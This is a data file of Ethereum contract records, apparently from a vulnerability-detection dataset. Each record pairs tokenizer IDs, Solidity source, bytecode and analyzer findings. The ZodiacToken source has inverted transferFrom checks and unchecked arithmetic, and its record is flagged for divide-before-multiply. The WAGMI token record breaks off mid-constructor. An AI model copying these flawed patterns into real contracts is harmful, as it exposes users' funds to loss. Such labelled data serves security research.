[ 101, 1014, 2595, 2683, 2581, 21926, 18939, 2278, 18139, 16932, 2692, 4402, 2575, 2581, 2497, 2620, 2620, 17788, 2549, 27717, 2575, 2497, 2509, 2278, 27009, 4215, 16147, 16703, 24594, 2278, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 3206, 21834, 12096, 15495, 2003, 2219, 3085, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 15166, 2094, 1025, 29464, 11890, 11387, 2270, 2358, 15495, 18715, 2368, 1025, 29464, 11890, 11387, 2270, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,669
0x97244c7640c8a7d525e056e1b020204d9e0742c6
pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant returns (uint256); function transfer(address _to, uint256 _value) returns (bool); } contract Capricornus_ZodiacToken { address owner = msg.sender; bool public purchasingAllowed = true; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalContribution = 0; uint256 public totalBonusTokensIssued = 0; uint public MINfinney = 0; uint public AIRDROPBounce = 50000000; uint public ICORatio = 144000; uint256 public totalSupply = 0; function name() constant returns (string) { return "Capricornus_ZodiacToken"; } function symbol() constant returns (string) { return "CAP♑"; } function decimals() constant returns (uint8) { return 8; } event Burnt( address indexed _receiver, uint indexed _num, uint indexed _total_supply ); function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { // mitigates the ERC20 short address attack if(msg.data.length < (2 * 32) + 4) { throw; } if (_value == 0) { return false; } uint256 fromBalance = balances[msg.sender]; bool sufficientFunds = fromBalance >= _value; bool overflowed = balances[_to] + _value < balances[_to]; if (sufficientFunds && !overflowed) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { // mitigates the ERC20 short address attack if(msg.data.length < (3 * 32) + 4) { throw; } if (_value == 0) { return false; } uint256 fromBalance = balances[_from]; uint256 allowance = allowed[_from][msg.sender]; bool sufficientFunds = fromBalance <= _value; bool sufficientAllowance = allowance <= _value; bool overflowed = balances[_to] + _value > balances[_to]; if (sufficientFunds && sufficientAllowance && !overflowed) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function approve(address _spender, uint256 _value) returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); function enablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = true; } function disablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = false; } function withdrawForeignTokens(address _tokenContract) returns (bool) { if (msg.sender != owner) { throw; } ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } function getStats() constant returns (uint256, uint256, uint256, bool) { return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed); } function setAIRDROPBounce(uint _newPrice) { if (msg.sender != owner) { throw; } AIRDROPBounce = _newPrice; } function setICORatio(uint _newPrice) { if (msg.sender != owner) { throw; } ICORatio = _newPrice; } function setMINfinney(uint _newPrice) { if (msg.sender != owner) { throw; } MINfinney = _newPrice; } function() payable { if (!purchasingAllowed) { throw; } if (msg.value < 1 finney * MINfinney) { return; } owner.transfer(msg.value); totalContribution += msg.value; uint256 tokensIssued = (msg.value / 1e10) * ICORatio + AIRDROPBounce * 1e8; totalSupply += tokensIssued; balances[msg.sender] += tokensIssued; Transfer(address(this), msg.sender, tokensIssued); } function withdraw() public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint num) public { require(num * 1e8 > 0); require(balances[msg.sender] >= num * 1e8); require(totalSupply >= num * 1e8); uint pre_balance = balances[msg.sender]; balances[msg.sender] -= num * 1e8; totalSupply -= num * 1e8; Burnt(msg.sender, num * 1e8, totalSupply); Transfer(msg.sender, 0x0, num * 1e8); assert(balances[msg.sender] == pre_balance - num * 1e8); } }
0x6060604052600436106101245763ffffffff60e060020a60003504166306fdde038114610219578063095ea7b3146102a35780630dcf4b8f146102d957806318160ddd146102fe57806323b872dd14610311578063313ce56714610339578063334b8771146103625780633ccfd60b1461037557806342966c681461038a57806364acdb77146103a057806370a08231146103b35780637b7a43eb146103d25780638f580996146103e857806392fee51a146103fb57806395d89b411461041157806398b01fe314610424578063a9059cbb14610437578063c59d484714610459578063da040c0f14610498578063dd62ed3e146104ab578063e45285cf146104d0578063e58fc54c146104e6578063e6544b8714610505578063fdee579c14610518575b6000805474010000000000000000000000000000000000000000900460ff16151561014e57600080fd5b60055466038d7ea4c680000234101561016657610216565b600054600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561019a57600080fd5b506003805434908101909155600654600754600880546402540be4009094049091026305f5e10090920291909101918201905533600160a060020a03908116600081815260016020526040908190208054850190559091301690600080516020610c5b8339815191529084905190815260200160405180910390a35b50005b341561022457600080fd5b61022c61052b565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610268578082015183820152602001610250565b50505050905090810190601f1680156102955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102ae57600080fd5b6102c5600160a060020a036004351660243561056c565b604051901515815260200160405180910390f35b34156102e457600080fd5b6102ec610618565b60405190815260200160405180910390f35b341561030957600080fd5b6102ec61061e565b341561031c57600080fd5b6102c5600160a060020a0360043581169060243516604435610624565b341561034457600080fd5b61034c610743565b60405160ff909116815260200160405180910390f35b341561036d57600080fd5b6102ec610748565b341561038057600080fd5b61038861074e565b005b341561039557600080fd5b610388600435610789565b34156103ab57600080fd5b6103886108a4565b34156103be57600080fd5b6102ec600160a060020a03600435166108df565b34156103dd57600080fd5b6103886004356108fa565b34156103f357600080fd5b61038861091a565b341561040657600080fd5b61038860043561096c565b341561041c57600080fd5b61022c61098c565b341561042f57600080fd5b6102ec6109cd565b341561044257600080fd5b6102c5600160a060020a03600435166024356109d3565b341561046457600080fd5b61046c610aa0565b604051938452602084019290925260408084019190915290151560608301526080909101905180910390f35b34156104a357600080fd5b6102c5610ace565b34156104b657600080fd5b6102ec600160a060020a0360043581169060243516610aef565b34156104db57600080fd5b610388600435610b1a565b34156104f157600080fd5b6102c5600160a060020a0360043516610b3a565b341561051057600080fd5b6102ec610c3c565b341561052357600080fd5b6102ec610c42565b610533610c48565b60408051908101604052601781527f4361707269636f726e75735f5a6f64696163546f6b656e0000000000000000006020820152905090565b600081158015906105a15750600160a060020a0333811660009081526002602090815260408083209387168352929052205415155b156105ae57506000610612565b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60035481565b60085481565b60008080808080606436101561063957600080fd5b8615156106495760009550610737565b50505050600160a060020a03858116600090815260016020818152604080842054600283528185203387168652835281852054958a16855292909152909120549092508483118015918684111591878201919091119083906106a85750815b80156106b2575080155b1561073257600160a060020a03808916600081815260016020908152604080832080548d0190558d851680845281842080548e9003905560028352818420339096168452949091529081902080548b90039055909190600080516020610c5b833981519152908a905190815260200160405180910390a360019550610737565b600095505b50505050509392505050565b600890565b60065481565b600054600160a060020a0330811631911681156108fc0282604051600060405180830381858888f19350505050151561078657600080fd5b50565b60006305f5e100820281901161079e57600080fd5b600160a060020a0333166000908152600160205260409020546305f5e10083029010156107ca57600080fd5b6008546305f5e10083029010156107e057600080fd5b50600160a060020a0333166000818152600160205260409081902080546305f5e10085028082039092556008805483900390819055909390927f0f7742877f0f24e648fdf2c46a85dfa3fd07291c0f0c3fcf3e8c6011749e5698905160405180910390a4600033600160a060020a0316600080516020610c5b833981519152846305f5e1000260405190815260200160405180910390a3600160a060020a0333166000908152600160205260409020546305f5e10083028203146108a057fe5b5050565b60005433600160a060020a039081169116146108bf57600080fd5b6000805474ff000000000000000000000000000000000000000019169055565b600160a060020a031660009081526001602052604090205490565b60005433600160a060020a0390811691161461091557600080fd5b600555565b60005433600160a060020a0390811691161461093557600080fd5b6000805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60005433600160a060020a0390811691161461098757600080fd5b600755565b610994610c48565b60408051908101604052600681527f434150e2999100000000000000000000000000000000000000000000000000006020820152905090565b60045481565b600080808060443610156109e657600080fd5b8415156109f65760009350610a97565b505050600160a060020a0333811660009081526001602052604080822054928616825290205483821080159180860110908290610a31575080155b15610a9257600160a060020a0333811660008181526001602052604080822080548a900390559289168082529083902080548901905591600080516020610c5b8339815191529088905190815260200160405180910390a360019350610a97565b600093505b50505092915050565b60035460085460045460005460ff740100000000000000000000000000000000000000009091041690919293565b60005474010000000000000000000000000000000000000000900460ff1681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610b3557600080fd5b600655565b600080548190819033600160a060020a03908116911614610b5a57600080fd5b83915081600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610bab57600080fd5b5af11515610bb857600080fd5b5050506040518051600054909250600160a060020a03808516925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c1e57600080fd5b5af11515610c2b57600080fd5b505050604051805195945050505050565b60075481565b60055481565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820186c5e0b46e23ac9c7a1777ea0ba7d1d71e355f3b5f7b4db789d90ec132632480029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 18827, 2549, 2278, 2581, 21084, 2692, 2278, 2620, 2050, 2581, 2094, 25746, 2629, 2063, 2692, 26976, 2063, 2487, 2497, 2692, 11387, 11387, 2549, 2094, 2683, 2063, 2692, 2581, 20958, 2278, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,670
0x9724f51e3aFB6B2ae0A5D86fd3b88c73283BC38F
/** * */ /** * */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract WAGMI is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'WAGMI'; string private _symbol = '$WAGMI'; uint8 private _decimals = 9; // Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap // Team wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable private _teamWalletAddress; address payable private _developerWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000000000e9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWalletAddress, address payable developerWalletAddress) public { _teamWalletAddress = teamWalletAddress; _developerWalletAddress = 